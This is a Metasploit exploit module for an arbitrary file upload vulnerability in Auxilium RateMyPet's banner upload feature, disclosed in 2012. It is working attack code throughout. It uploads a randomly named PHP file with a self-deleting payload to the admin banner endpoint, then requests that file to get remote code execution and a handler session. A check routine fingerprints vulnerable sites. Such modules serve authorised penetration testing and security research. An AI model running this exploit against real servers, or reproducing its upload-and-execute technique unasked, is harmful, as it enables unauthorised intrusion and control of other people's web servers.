##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::PhpEXE

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Auxilium RateMyPet Arbitrary File Upload Vulnerability",
      'Description'    => %q{
          This module exploits a vulnerability found in Auxilium RateMyPet's. The site
        banner uploading feature can be abused to upload an arbitrary file to the web
        server, which is accessible in the 'banner' directory, thus allowing remote code
        execution.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'DaOne',  # Vulnerability discovery
          'sinn3r'  # Metasploit
        ],
      'References'     =>
        [
          ['OSVDB', '85554'],
          ['EDB', '21329']
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00"
        },
      'Platform'       => %w{ linux php },
      'Targets'        =>
        [
          [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' }  ],
          [ 'Linux x86'            , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Sep 14 2012",
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base directory to the application', '/Auxiliumpetratepro/'])
      ])
  end


  def check
    uri = target_uri.path
    base = File.dirname("#{uri}.")

    res = send_request_raw({
      'uri' => normalize_uri("#{base}/admin/sitebanners/upload_banners.php")
    })
    if res and res.body =~ /\<title\>Pet Rate Admin \- Banner Manager\<\/title\>/
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Safe
    end
  end



  def upload_exec(base, php_fname, p)
    data = Rex::MIME::Message.new
    data.add_part('http://', nil, nil, "form-data; name=\"burl\"")
    data.add_part('', nil, nil, "form-data; name=\"alt\"")
    data.add_part(p, 'text/plain', nil, "form-data; name=\"userfile\"; filename=\"#{php_fname}\"")
    data.add_part(' Upload', nil, nil, "form-data; name=\"submitok\"")

    post_data = data.to_s

    print_status("Uploading payload (#{p.length.to_s} bytes)...")
    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri("#{base}/admin/sitebanners/upload_banners.php"),
      'ctype'  => "multipart/form-data; boundary=#{data.bound}",
      'data'   => post_data,
    })

    if not res
      print_error("No response from host")
      return
    end

    print_status("Requesting '#{php_fname}'...")
    res = send_request_raw({'uri'=>normalize_uri("#{base}/banners/#{php_fname}")})
    if res and res.code == 404
      print_error("Upload unsuccessful: #{res.code.to_s}")
      return
    end

    handler
  end


  def exploit
    uri = normalize_uri(target_uri.path)
    uri << '/' if uri[-1,1] != '/'
    base = File.dirname("#{uri}.")

    php_fname =  "#{Rex::Text.rand_text_alpha(5)}.php"

    p = get_write_exec_payload(:unlink_self=>true)

    upload_exec(base, php_fname, p)
  end
end
